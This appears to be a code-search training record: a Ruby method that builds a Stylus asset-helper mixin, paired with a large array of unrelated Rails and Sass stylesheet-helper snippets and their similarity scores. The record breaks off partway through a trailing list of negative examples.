[ "def make_assets_relative!\n @style.gsub! \"url(/assets\", \"url(assets\"\n @style.gsub! \"url(../\", \"url(assets/\"\n end", "def style_tag(asset)\n return stylesheet_link_tag asset, media: \"all\" if production?\n\n javascript_include_tag asset\n end", "def stylesheet_link_tag(string_or_array, *args)\n files = string_or_array.is_a?(Array) ? string_or_array : [string_or_array]\n options = {\n :charset => \"utf-8\",\n :media => \"screen, projection\",\n :rel => \"stylesheet\",\n :type => \"text/css\",\n }.merge(args.last.is_a?(::Hash) ? pop : {})\n\n files.map do |file|\n path = \"assets/stylesheets/#{file}.css\"\n options[:href] = path\n tag(:link, options)\n end.join(\"\\n\")\n\nend", "def sass_file_url; end", "def path_to_stylesheet(source, options = T.unsafe(nil)); end", "def stylesheet_path(path, options={})\n asset_path(path, :type => :stylesheet)\n end", "def url_to_stylesheet(source, options = T.unsafe(nil)); end", "def style_tag src = nil, opts = {}, &proc\n src.is_a?(Hash) && (opts = src.dup) && (src = nil)\n if proc\n opts[:type] ||= 'text/css'\n \"<style %s>\\n%s\\n</style>\\n\" % [__e__assets__opts_to_s(opts), proc.call]\n else\n opts[:rel] = 'stylesheet'\n opted_src = opts.delete(:href) || opts.delete(:src)\n src ||= opted_src || raise('Please URL as first argument or :href option')\n \"<link href=\\\"%s%s\\\" %s>\\n\" % [\n opted_src ? opted_src : assets_url(src),\n opts.delete(:ext),\n __e__assets__opts_to_s(opts)\n ]\n end\n end", "def stylesheet_link_tag_with_engine_additions(*sources)\r\n stylesheet_link_tag_without_engine_additions(*Engines::RailsExtensions::AssetHelpers.pluginify_sources(\"stylesheets\", *sources))\r\n end", "def add_asset_path_helper(content)\n content.gsub /url\\((.*?)\\)/, 'url(<%= asset_path \"mediaelement_rails/\\1\" %>)'\n end", "def style_tag src = nil, opts = {}, &proc\n src.is_a?(Hash) && (opts = src.dup) && (src = nil)\n if proc\n opts[:type] ||= 'text/css'\n \"<style %s>\\n%s\\n</style>\\n\" % [__e__.assets__opts_to_s(opts), proc.call]\n else\n opts[:rel] = 'stylesheet'\n opted_src = opts.delete(:href) || opts.delete(:src)\n src ||= opted_src || raise('Please URL as first argument or :href option')\n \"<link href=\\\"%s\\\" %s />\\n\" % [\n opted_src ? opted_src : assets_url(src),\n __e__.assets__opts_to_s(opts)\n ]\n end\n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n if options[\"debug\"] != false && request_debug_assets?\n sources.map { |source|\n check_errors_for(source, :type => :stylesheet)\n if asset = lookup_asset_for_path(source, :type => :stylesheet)\n asset.to_a.map do |a|\n super(path_to_stylesheet(a.logical_path, :debug => true), options)\n end\n else\n super(source, options)\n end\n }.flatten.uniq.join(\"\\n\").html_safe\n else\n sources.push(options)\n super(*sources)\n end\n end", "def extra_asset_links\n lines = []\n if item.attributes.has_key?(:css)\n for stylesheet in item.attributes[:css]\n lines.push(\"<link href='/assets/css/#{stylesheet}.css'\"+\n \" type='text/css' rel='stylesheet'>\")\n end\n end\n if item.attributes.has_key?(:js)\n for script in item.attributes[:js]\n lines.push(\"<script type='text/javascript'\" +\n \" src='/assets/js/#{script}.js'></script>\")\n end\n end\n lines.join(\"\\n\")\nend", "def extra_asset_links\n lines = []\n if item.attributes.has_key?(:css)\n for stylesheet in item.attributes[:css]\n lines.push(\"<link href='/assets/css/#{stylesheet}.css'\"+\n \" type='text/css' rel='stylesheet'>\")\n end\n end\n if item.attributes.has_key?(:js)\n for script in item.attributes[:js]\n lines.push(\"<script type='text/javascript'\" +\n \" src='/assets/js/#{script}.js'></script>\")\n end\n end\n lines.join(\"\\n\")\nend", "def style_sheet(url=\"\")\n self.tag('css', self.tag('url', url))\n end", "def sg_usemin_css(path, options={})\n usemin = SlimGruntHelpers::Models::UseminCss.new\n options = { alt: nil, absolute: false }.merge!(options)\n\n alt = ''\n alt = \"(#{ options[:alt] })\" unless options[:alt].nil?\n\n text = \"\\n<!-- build:css#{ alt } #{ path } -->\\n\"\n yield(usemin)\n usemin.each(options) do |link|\n text << \"#{ link }\\n\"\n end\n text << \"<!-- endbuild -->\\n\"\n end", "def css(url=\"\")\n self.style_sheet(url)\n end", "def stylesheets\n render_asset( \n asset_path_for(params[:asset], 'stylesheets', params[:theme]),\n defaulft_asset_path_for(params[:asset], 'stylesheets'),\n app_asset_path_for(params[:asset], 'stylesheets'), mime_type_from(params[:asset])\n )\n end", "def add_style_tag(url: nil, path: nil, content: nil)\n # @param url [String]\n #\n # @return [Promise<HTMLElement>]\n #\n add_style_url = <<~JAVASCRIPT\n async function addStyleUrl(url) {\n const link = document.createElement('link');\n link.rel = 'stylesheet';\n link.href = url;\n const promise = new Promise((res, rej) => {\n link.onload = res;\n link.onerror = rej;\n });\n document.head.appendChild(link);\n await promise;\n return link;\n }\n JAVASCRIPT\n\n # @param content [String]\n #\n # @return [Promise<HTMLElement>]\n #\n add_style_content = <<~JAVASCRIPT\n async function addStyleContent(content) {\n const style = document.createElement('style');\n style.type = 'text/css';\n style.appendChild(document.createTextNode(content));\n const promise = new Promise((res, rej) => {\n style.onload = res;\n style.onerror = rej;\n });\n document.head.appendChild(style);\n await promise;\n return style;\n }\n JAVASCRIPT\n\n unless url.nil?\n begin\n return execution_context.evaluate_handle_function(add_style_url, url).value!.as_element\n rescue => _error\n raise \"Loading style from #{url} failed\"\n end\n end\n\n unless path.nil?\n contents = File.read path\n contents += '//# sourceURL=' + path.delete(\"\\n\")\n return execution_context.evaluate_handle_function(add_style_content, contents).value!.as_element\n end\n\n unless content.nil?\n return execution_context.evaluate_handle_function(add_style_content, content).value!.as_element\n end\n\n raise \"Provide a `url`, `path` or `content`\"\n end", "def stylesheet_url(source, options = T.unsafe(nil)); end", "def path_to_stylesheet(*args)\n path = super\n if @generate_urls_with_host \n path = request.protocol() + request.host_with_port() + path\n end\n return path\n end", "def stylesheet src, attributes = {}\n link({:rel => \"stylesheet\", :href => src}.merge(attributes))\n end", "def add_view_stylesheet(view_component)\n add_stylesheet_path(\"views/_#{view_component}.css\")\n end", "def stylesheet_link_tag(*styles)\n if (@cached_stylesheets )\n\n @cached_stylesheets = @cached_stylesheets.concat(styles)\n \"<!-- #{super(*styles)} -->\"\n else\n super(*styles)\n end\n end", "def webpack_stylesheet_tag(source)\n tag(\n :link,\n rel: 'stylesheet',\n media: 'all',\n href: path_to_webpack_asset(source, :css)\n )\n end", "def build_mixin_body(scope)\n @mixin_body ||= if assets_hash(scope).values.all? {|value| value != '' }\n <<-STYL\nasset-url(key)\n return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:url]} ()\nasset-path(key)\n return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:path]} ()\n STYL\n else\n ''\n end\n end", "def stylesheet_pack_tag(name, **options)\n return \"\" if WebpackerLite::Env.hot_loading? && !options[:enabled_when_hot_loading].presence\n stylesheet_link_tag(asset_source(name, :stylesheet), **options)\n end", "def add_gem_component_stylesheet(gem_component)\n add_stylesheet_path(\"govuk_publishing_components/components/_#{gem_component}.css\")\n end", "def stylesheet_path(source, options = T.unsafe(nil)); end", "def css_path; end", "def css_path; end", "def stylesheet_link_tag(*sources); end", "def stylesheet_link_tag(*sources); end", "def add_sass_functions!(asset_roots)\n Sass::Script::Functions.send(:include, asset_roots)\n end", "def stylesheet_link_tag(*sources); end", "def compress_css(paths, variant=nil, asset_url=nil)\n return @yui_css.compress(concatenate(paths)) if variant.nil?\n compressed_css = @yui_css.compress(concatenate_and_tag_images(paths))\n return with_data_uris(compressed_css) if variant == :datauri\n return with_mhtml(compressed_css, asset_url) if variant == :mhtml\n raise PackageNotFound, \"\\\"#{variant}\\\" is not a valid stylesheet variant\"\n end", "def add_to_assets(asset_str)\n append_to_file('config/initializers/assets.rb', \"Rails.application.config.assets.precompile += %w( #{asset_str} )\\n\") unless asset_str.blank?\nend", "def inline_stylesheet( stylesheet, options = {} )\n\n # add the extension, if not already present\n stylesheet += \".css\" unless stylesheet.match(/\\.css$/)\n\n # look for the file, and bail if it doesn’t exist\n filename = asset_path_for( stylesheet )\n return unless File.exists?( filename )\n\n # read the file in, bail if it’s empty\n content = File.read( filename ).strip\n return if content.empty?\n\n # rewrite our content\n content.gsub!( /url\\(\"(.*?)\"\\)/ ){ |match| \"url(\\\"#{asset_url_for( $1 )}\\\")\" }\n\n # return a <STYLE> tag\n options[:media] ||= :screen\n tag(:style, options, true) + content.html_safe + '</style>'.html_safe\n end", "def custom_stylesheet_link_tag\n stylesheet = \"custom/style.css\" #e.g. home_controller =>assets/stylesheets/home.css\n #if stylesheet asset exists include it\n unless Rails.application.assets.find_asset(stylesheet).nil?\n stylesheet_link_tag stylesheet\n end\n end", "def include_individual_stylesheets(bundles=[])\n tags = []\n bundles.each do |bundle| \n tags.concat bundle.files.map { |css| stylesheet_link_tag(css.path) }\n end\n tags.join(\"\\n\")\n end", "def replace_asset_url(rule, type)\n replace_all rule, /url\\((.*?)\\)/, \"url(if($flat-ui-sass-asset-helper, flat-ui-#{type}-path(\\\\1), \\\\1))\"\n end", "def asset_handler\n tags = String.new\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/icons.css\")\n if controller_name == \"rich_subscriptions\"\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('map')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet-slider.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/L.Control.Locate.min.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('map')}.css\")\n else\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('application')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('application')}.css\")\n end\n tags.html_safe\n end", "def include_stylesheets(*bundles) \n bundles.map! { |name| Jammit::Lite::Bundle.new(:stylesheets => name) }\n return include_individual_stylesheets(bundles) unless Rails.env.production? \n tags = bundles.map { |bundle| stylesheet_link_tag(bundle.path) }\n tags.join(\"\\n\")\n end", "def styles(options = {})\n imported = if options[:import]\n [*options[:import]].map { |name| File.read(\"#{self.options.views}/#{name}.sass\") }.join(\"\\n\")\n end\n\n rendered_styles = fancyviews.included_styles.map do |name, sass| \n # would be nice if construction took an :offest to go along with the :filename\n eng = Sass::Engine.new((imported || '') + \"\\n\" + sass,\n :attribute_syntax => :normal,\n :load_paths => [self.options.views])\n \"\\n/* -- #{name} -- */\\n\" + eng.render\n end.join\n\n style_tag(rendered_styles, options[:media])\n end", "def sass_file?; end", "def sass_file?; end", "def css_includes *ss\n\t\t\tss.each { |s|\n\t\t\t\tlink :rel => 'stylesheet', :media => 'all', :href => s\n\t\t\t}\n\t\tend", "def action_stylesheet\n asset_context.css( request.symbolized_path_parameters[:action] )\n end", "def add_app_component_stylesheet(app_component)\n add_stylesheet_path(\"components/_#{app_component}.css\")\n end", "def add_stylesheet(name)\n content_for(:head) do\n stylesheet_link_tag name\n end\n end", "def read_css(path)\n add_asset(path)\n rescue AssetNotFound => ex\n super(path)\n end", "def stylesheet(path)\n asset_html(path, STYLESHEET_CDN, STYLESHEET_LOCAL)\n end", "def stylesheet_tag(source, options)\n tag(\"link\", { \"rel\" => \"stylesheet\", \"media\" => \"screen\", \"href\" => html_escape(path_to_stylesheet(source)) }.merge(options), ::SKIP_SELF_CLOSE_TAGS, false)\n end", "def inline_asset(*names)\n old = sprockets.css_compressor, sprockets.js_compressor\n sprockets.js_compressor = :uglifier\n sprockets.css_compressor = :scss\n dat = names.map { |name| sprockets[name].to_s }.reduce(:+)\n sprockets.css_compressor, sprockets.js_compressor = old\n dat.gsub(' !important', '')\n end", "def stylesheet_path(source, options = {})\n asset_path source, { :dir => 'stylesheets', :ext => 'css' }.merge(options)\n end", "def stylesheet_path(source, options = {})\n asset_path source, sprockets_helpers_settings.default_path_options[:stylesheet_path].merge(options)\n end", "def stylesheet_path(source)\n path_to_asset(source)\n end", "def stylesheet; end", "def stylus_file?(context)\n File.fnmatch('*.styl', file) || File.fnmatch('*.styl.*', file)\n end", "def extned_path\n @temp_path = path\n unless name == nil\n self.path = \"app/assets/templates/#{name.downcase}/#{path}.css.scss\"\n end \n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n concat = options.delete(\"concat\")\n cache = concat || options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n\n if concat || (ActionController::Base.perform_caching && cache)\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)\n\n unless ActionController::Base.perform_caching && File.exist?(joined_stylesheet_path)\n write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))\n end\n stylesheet_tag(joined_stylesheet_name, options)\n else\n expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join(\"\\n\").html_safe\n end\n end", "def inline_stylesheet source\n \"<style type='text/css'>\" +\n File.read(\"#{RAILS_ROOT}/public/stylesheets/#{source}\") +\n \"</style>\"\n end", "def syntax\n\t\t\t\t:sass\n\t\t\tend", "def set_assets\n\n @custom_csses = []\n @custom_javascripts = []\n\n\n action_hash = {\"create\" => \"new\", \"update\" => \"edit\"}\n file_name = action_hash[action_name] ? action_hash[action_name] : action_name\n root = Rails.root.to_s\n\n @custom_csses << \"compiled/application.css\" # always include the layout css\n @custom_csses << \"compiled/#{controller_name}/#{file_name}.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/#{file_name}.css\")\n @custom_csses << \"compiled/#{controller_name}/all.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/all.css\")\n\n\n @custom_javascripts << \"#{controller_name}/#{file_name}.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/#{file_name}.js\") # && !(\"#{file_name}.js\" == \"consumer_index.js\")\n @custom_javascripts << \"#{controller_name}/all.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/all.js\")\n\n # a trick to include facebox in the (devise-owned) registrations controller\n include_facebox if controller_name == 'registrations' && action_name == 'edit'\n\n end", "def stylesheet(*args)\n head { stylesheet_link_tag *args }\n end", "def assets; end", "def assets; end", "def assets; end", "def asset_url(path, **kwd)\n return \"url(#{asset_path(path, **kwd)})\"\n end", "def stylesheet_link_tag(stylesheet_name)\n stylesheet_name = \"#{stylesheet_name}.css\" if not stylesheet_name =~ /\\.css$/\n %{<link rel=\"stylesheet\" href=\"#{plugin_assets_link_base}css/#{stylesheet_name}\" type=\"text/css\" media=\"screen\">}\n end", "def append_require_css(name)\n insert_into_file 'app/assets/stylesheets/application.css',\n \" *= require #{name}\\n\",\n before: or_rx(' *= require_tree .', ' *= require_self')\n end", "def load_css\n AssetManager.include_css [:blog_home, :home]\n end", "def sass_options(uri, importer, options)\n options.merge!(:filename => uri.gsub(%r{\\*/},\"*\\\\/\"), :syntax => :scss, :importer => importer)\n end", "def render_style\n \"#{style}#{yield}\"\n end", "def campaign_stylesheet_link_tag(stylesheet, campaign)\n if campaign && File.exist?(Rails.root.to_s + '/app/assets/stylesheets/campaigns/' + campaign.path + '/' + stylesheet + '.sass')\n stylesheet_link_tag 'campaigns/' + campaign.path + '/application', :media => \"all\"\n else\n stylesheet_link_tag stylesheet, :media => \"all\"\n end\n end", "def assemble_css\n renderer = Liquid::Template.parse(@stylesheet.data)\n renderer.render(global_template_data, :filters => liquid_filters)\n end", "def controller_stylesheet_tags\n\n lo_files = []\n \n required_cc_files.each do |f|\n fn = [f,\"css\"].join(\".\")\n unless Rails.application.assets.find_asset(fn).nil?\n lo_files << stylesheet_link_tag(fn)\n end\n end\n\n lo_files.join.html_safe\n\n end", "def stylesheet_bundles_with_chunks_tag(*names, manifest: nil, **options)\n if Minipack.configuration.extract_css?\n sources_from_manifest_entrypoints(names, 'css', key: manifest).map { |entry|\n stylesheet_link_tag(entry.path, **minipack_options_for(entry, options))\n }.join(\"\\n\").html_safe\n end\n end", "def assets\n unless IO.read(\"app/assets/stylesheets/application.css\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/stylesheets/application.css\", :after => \"/*\" do\n %q{\n * Required by SULChrome:\n *= require sul_chrome/sul_chrome_base\n *}\n end\n end\n unless IO.read(\"app/assets/javascripts/application.js\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/javascripts/application.js\", :before => \"//= require_tree .\" do\n%q{// Required by SULChrome:\n//= require sul_chrome/sul_chrome_base\n}\n end\n end\n end", "def link_css(path, media = \"screen\")\n path = \"/#{path}\" unless path =~ %r{^/}\n path = \"#{path}.css\" unless path =~ %r{\\.css$}\n %{<link href=\"#{timestamp_asset(path)}\" media=\"#{media}\" rel=\"Stylesheet\" type=\"text/css\" />}\n end", "def stylesheet(url)\n @stylesheets ||= {}\n return if @stylesheets[url]\n @stylesheets[url] = true\n end", "def stylesheet_path(source, options={})\n path = compute_public_path(source, 'assets', options.merge(:ext => 'css'))\n options[:body] ? path + \"?body=1\" : path\n end", "def assets\n @assets ||= begin\n Sass.load_paths << File.join(site_root, 'assets/stylesheets')\n Sprockets::Environment.new.tap do |environment|\n environment.register_engine '.sass', Sprockets::Sass::SassTemplate\n environment.register_engine '.scss', Sprockets::Sass::ScssTemplate\n environment.append_path File.join site_root, 'assets/images'\n environment.append_path File.join site_root, 'assets/javascripts'\n environment.append_path File.join site_root, 'assets/stylesheets'\n environment.context_class.class_eval { include AssetExtensions }\n end\n end\n end", "def stylesheet(*args)\n content_for(:stylesheets) { stylesheet_link_tag(*args) }\n end", "def syntax\n\t\t\t\t:scss\n\t\t\tend", "def syntax\n :sass\n end", "def stylesheet_path\n File.join(@sprites.configuration.sprite_stylesheets_path, @stylesheet_path || stylesheet_file_name)\n end", "def stylesheet_tag(url)\n options = ({}).tap do |opts|\n opts[:href] = url.to_s unless url.blank?\n opts[:rel] = 'stylesheet'\n opts[:type] = 'text/css'\n opts[:media] = 'all'\n end\n \n tag('link', options)\n end", "def asset_file?; end", "def asset_file?; end", "def add_to_stylesheet_manifest(filename, options={})\n log :add_to_stylesheet_manifest, filename\n\n sentinel = options.has_key?(:after) ? \" *= require #{filename}\\n\" : \"\\n *= require #{filename}\"\n\n in_root do\n inject_into_file 'app/assets/stylesheets/application.css', sentinel, options.merge(verbose: false)\n end\n end", "def stylesheet_tag(source, options={})\n options = options.dup.reverse_merge!(:href => stylesheet_path(source), :media => 'screen', :rel => 'stylesheet', :type => 'text/css')\n tag(:link, options)\n end", "def assets_path() = self.class.name.demodulize.delete_suffix('Generator').underscore", "def install(assets, opts = {})\n assets.register_postprocessor('text/css', :autoprefixer) do |context, css|\n process(context, css, opts)\n end\n end", "def inline_css(name)\n sprockets[\"#{name}.css\"].to_s\n end", "def asset_path(filename)\n super(File.join(FONTS_DIR, filename))\n end", "def webpack_assets_tag\n capture do\n concat javascript_pack_tag('manifest')\n concat javascript_pack_tag('lib')\n concat javascript_pack_tag('vendor')\n concat javascript_pack_tag('coursemology')\n end\n end", "def compile(css, include_paths, settings)\n\tcss\nend", "def add_import_to_stylesheet_manifest(filename, opts = {})\n log :import_stylesheet_into_manifest\n sentinel = \"\\n@import \\\"#{filename}\\\";\"\n options = { after: \"@import \\\"#{opts[:after]}\\\";\", verbose: false }\n\n in_root do\n inject_into_file \"app/assets/stylesheets/application.css.scss\", sentinel, options\n end\n end", "def css; end", "def css; end" ]
[ "0.6445581", "0.6112271", "0.5983845", "0.597307", "0.59570974", "0.59058756", "0.58836734", "0.58254826", "0.5773968", "0.5767201", "0.576631", "0.5755464", "0.57539576", "0.57532495", "0.57497036", "0.5747364", "0.5731913", "0.5716231", "0.56792885", "0.5658945", "0.56511426", "0.5647206", "0.5632549", "0.5629709", "0.56269825", "0.5586055", "0.5580564", "0.5560588", "0.5560485", "0.5548616", "0.5548616", "0.553082", "0.553082", "0.552908", "0.552841", "0.5526067", "0.55210906", "0.5520697", "0.5513886", "0.5490238", "0.5475103", "0.5473083", "0.5445154", "0.5435597", "0.5421445", "0.5421445", "0.54093236", "0.5407489", "0.53605586", "0.53548247", "0.533143", "0.5319941", "0.53122836", "0.5309254", "0.52925247", "0.5286567", "0.5282345", "0.52727056", "0.5272567", "0.5261207", "0.526061", "0.5258347", "0.52574307", "0.525178", "0.5248008", "0.52400494", "0.52400494", "0.52400494", "0.5236442", "0.52149373", "0.52142227", "0.5212486", "0.520739", "0.52037525", "0.5196936", "0.5192179", "0.5185626", "0.51821154", "0.5157018", "0.51512676", "0.5140184", "0.5138137", "0.5136312", "0.51164603", "0.51109713", "0.5101979", "0.50959855", "0.50920427", "0.50871944", "0.50871944", "0.5072681", "0.5068511", "0.50643474", "0.5061457", "0.50542694", "0.50514835", "0.50393355", "0.50360954", "0.50317526", "0.5015651", "0.5015651" ]
0.0
-1
Internal: Builds body of a mixin Returns string representation of a mixin with asset helper functions
def build_mixin_body(scope) @mixin_body ||= if assets_hash(scope).values.all? {|value| value != '' } <<-STYL asset-url(key) return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:url]} () asset-path(key) return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:path]} () STYL else '' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mixin(object) \n mixin_name = split(object)\n \"@mixin #{mixin_name} {}\"\n end", "def mixin!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n type = MIXIN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 162:9: 'mixin'\n match( \"mixin\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end", "def evaluate(scope, locals, &block)\n @data = build_mixin_body(scope) + data\n super\n end", "def use(mixin)\n # templates and partials are just blocks themselves so they just need to\n # be added to the workbook element\n # they will be instance eval'd when they get used\n (mixin.templates || []).each { |mt| template(*mt.args, &mt.build) }\n (mixin.partials || []).each { |mp| partial(*mp.args, &mp.build) }\n\n # styles not only need to be added to the workbook element, but\n # any build passed to the style needs to be instance eval'd\n (mixin.styles || []).each do |ms|\n StyleBuild.new(self, *ms.args, &ms.build).add do |build|\n instance_eval(&build)\n end\n end\n end", "def mixing_in( mixins, content )\n\n def clauses_mixins( mixins, content )\n clauses_to_delete = []\n clauses_to_mixin = []\n \n mixins.each do | mixin, replacer |\n replacer = replacer.to_s.downcase\n clauses_to_delete << mixin if replacer == \"false\"\n clauses_to_mixin << mixin if replacer == \"true\"\n end\n \n clauses_to_delete.each { |m| mixins.delete(m) }\n clauses_to_mixin.each { |m| mixins.delete(m) }\n\n until clauses_to_delete.size == 0\n clauses_to_delete.each do | mixin |\n pattern = /(\\[{{#{mixin}}}\\s*)(.*?\\n?)(\\])/m\n sub_pattern = /\\[{{(\\S+)}}/m\n content[pattern]\n get_it_all = $& || \"\"\n sub_clause = $2 || \"\"\n next if sub_clause[sub_pattern] && clauses_to_delete.include?($1)\n content = content.gsub( get_it_all, \"\" )\n clauses_to_delete.delete( mixin ) unless content[pattern]\n end\n end\n\n until clauses_to_mixin.size == 0\n clauses_to_mixin.each do | mixin |\n pattern = /(\\[{{#{mixin}}}\\s*)(.*?\\n?)(\\])/m\n sub_pattern = /(\\[{{\\S+}})/m\n content[pattern]\n get_it_all = $& || \"\"\n sub_clause = $2 || \"\"\n next if sub_clause[sub_pattern] && clauses_to_mixin.include?($1)\n content = content.gsub( get_it_all, sub_clause )\n clauses_to_mixin.delete( mixin ) unless content[pattern]\n end\n end\n\n return [content, mixins]\n end\n\n def normal_mixins( mixins, content )\n mixins.each do | mixin, replacer |\n unless mixin =~ /level-\\d/ or mixin =~ /no-reset/ or mixin =~ /no-indent/\n replacer = replacer.to_s\n safe_words = [ \"title\", \"author\", \"date\" ]\n pattern = /({{#{mixin}}})/\n if content =~ pattern\n content = content.gsub( $1, replacer )\n mixins.delete( mixin ) unless safe_words.any?{ |s| s.casecmp(mixin) == 0 }\n end\n end\n end\n return [content, mixins]\n end\n\n clauses_mixed = clauses_mixins( mixins, content )\n mixed = normal_mixins( clauses_mixed[1], clauses_mixed[0] )\n return [ mixed[0], mixed[1] ]\n end", "def _perform(environment)\n environment.set_mixin(@name, Sass::Mixin.new(@name, @args, environment, children))\n []\n end", "def full_code\n build_body\n header + body + footer\n end", "def as_comment_body\n\t\tcomment = \"%s: { template.%s\" % [ self.tagname, self.name ]\n\t\tcomment << self.methodchain if self.methodchain\n\t\tcomment << \" }\"\n\t\tcomment << \" with format: %p\" % [ self.format ] if self.format\n\n\t\treturn comment\n\tend", "def mk_body\n skills = @skills.join(', ')\n skills += \", m.v.\" if @skills.length > 1\n\n body = \"Jeg søger stillingen som #{@position} i jeres virksomhed.\\n\"\n body += \"Jeg føler min erfaring inden for brugen af #{skills} kunne gavne jer.\\n\" unless @skills.nil?\n body += \"#{@extra}\\n\" unless @extra.nil?\n return body\n end", "def assemble_template body_file\n if body_file.basename.to_s =~ /\\.hh(k|c|p)/\n body = body_file.read\n return body if body\n else\n super\n end\n end", "def mixin(value)\n @mixins << value\n\n if value.is_a?(String)\n value = YAML.load(File.read(value))\n end\n\n return unless value\n\n value = Section.from_hash(value)\n\n deep_merge!(value.delete(:generic)) if value.has_key?(:generic)\n\n if value.has_key?(Env.to_sym)\n deep_merge!(value[Env.to_sym])\n else\n deep_merge!(value)\n end\n end", "def body\n source\n end", "def add_mixins(item)\n item.instance_mixins.reverse_each do |i|\n @current_object.create_include(i.path.to_s)\n end\n\n # YARD 0.9.26 makes extends appear in the same order as code\n # (includes are still reversed)\n if Gem::Version.new(YARD::VERSION) >= Gem::Version.new(\"0.9.26\")\n item.class_mixins.each do |e|\n @current_object.create_extend(e.path.to_s)\n end\n else\n item.class_mixins.reverse_each do |e|\n @current_object.create_extend(e.path.to_s)\n end\n end\n\n item.instance_mixins.length + item.class_mixins.length\n end", "def generate\n result = <<-eos.strip_heredoc\n framework module #{target.product_module_name} {\n umbrella header \"#{target.umbrella_header_path.basename}\"\n\n export *\n module * { export * }\n eos\n\n result << \"\\n#{generate_private_header_exports}\" unless private_headers.empty?\n result << \"}\\n\"\n end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body(args = {}, &block)\n build_base_component :body, args, &block\n end", "def add_mixin(name, mixin_module = nil, &block)\n name = name.to_s\n if @mixins.key?(name)\n raise ToolDefinitionError,\n \"A mixin named #{name.inspect} has already been defined in tool\" \\\n \" #{display_name.inspect}.\"\n end\n @mixins[name] = mixin_module || Mixin.create(&block)\n self\n end", "def mixin # :nodoc:\n our_baskets, our_root, our_logger = baskets, @root, logger # create local definitions for closures \n @mixin ||= begin \n movingMethods = Module.new\n movingMethods.module_eval do\n our_baskets.each do |basket|\n define_method \"#{basket}!\" do\n our_logger.info [:mv, self, our_root/basket]\n FileUtils.mv self, our_root/basket\n end\n end\n end\n movingMethods\n end\n end", "def generate\n <<-MODULE_MAP.strip_heredoc\n framework module #{target.product_module_name} {\n umbrella header \"#{target.umbrella_header_path.basename}\"\n\n export *\n module * { export * }\n }\n MODULE_MAP\n end", "def mixins(*scopes); end", "def draw\n <<~RUBY\n def initialize(#{initialize_parameters})\n #{initialize_body}\n end\n RUBY\n end", "def mixblocks2seq!\n # Recurse on the behaviors.\n self.each_behavior { |beh| beh.mixblocs2seq! }\n end", "def update_mixin_from_model(mixin, model)\n return if mixin.blank?\n\n if mixin.kind_of? String\n # it's just an identifier\n model.get_by_id(mixin)\n elsif mixin.kind_of?(::Occi::Core::Mixin)\n # it's already a mix-in\n orig_mixin = model.get_by_id(mixin.type_identifier)\n if orig_mixin\n mixin.location = orig_mixin.location\n mixin.title = orig_mixin.title if mixin.title.blank?\n end\n\n mixin\n else\n # nothing we can do here\n nil\n end\n end", "def render(snip, part=:content, args=[], enclosing_snip=snip)\n prepare(snip, part, args, enclosing_snip)\n processed_text = render_without_including_snips(snip, part)\n include_snips(processed_text, snip)\n end", "def body\n raise NotImplementedError, \"#{self.class} must implement #body!\"\n end", "def render(content = 'No template provided')\n # get Nokogiri object with html source\n html = Nokogiri::HTML(htmlbody)\n\n # pick image tags from source and inject the right images\n mailskinassets.each do |mailskinasset|\n html.css('img').each do |image|\n # do we have the filename of our mailskinasset in the source attribute?\n if image.attributes['src'].value.to_s.include? mailskinasset.mailskinasset_file_name\n # replace he whole source with correct url\n image.attributes['src'].value = mailskinasset.absolute_asset_url.to_s\n end\n end\n end\n html.to_s.gsub('{yield}', content)\n end", "def to_s\n <%= add_to_s %>\n end\n\n # @!group Constants\n<%= add_consts %>\n # @!endgroup\n\n # methods\n<%= add_methods %>\n\n # @!group Specializing\n<%= add_specializing %>\n # @!endgroup\n\n # types\n<%= add_types %>\n\nend", "def assemble\n @code.join\n end", "def render\n result, extends = Visitors::Cssize.visit(Visitors::Perform.visit(self))\n result = result.do_extend(extends) unless extends.empty?\n result.to_s\n end", "def to_prepare_blocks; end", "def build(name, *traits_and_overrides, &block); end", "def body\n\n @r = rand(3)\n if @r == 1 \n \"\\n\\n\" + get_content('Intro', 'component') + \" \" + \n get_content(@emphasis, \"emphasis\") + \"\\n\\n\" +\n get_content(@ideologyKey, \"ideology\") + \"\\n\\n\" +\n if @geography != \"Other\" \n get_content(@geography, \"geography\") \n end \n elsif @r == 2 \n \"\\n\\n\" + get_content('Intro', 'component') + \" 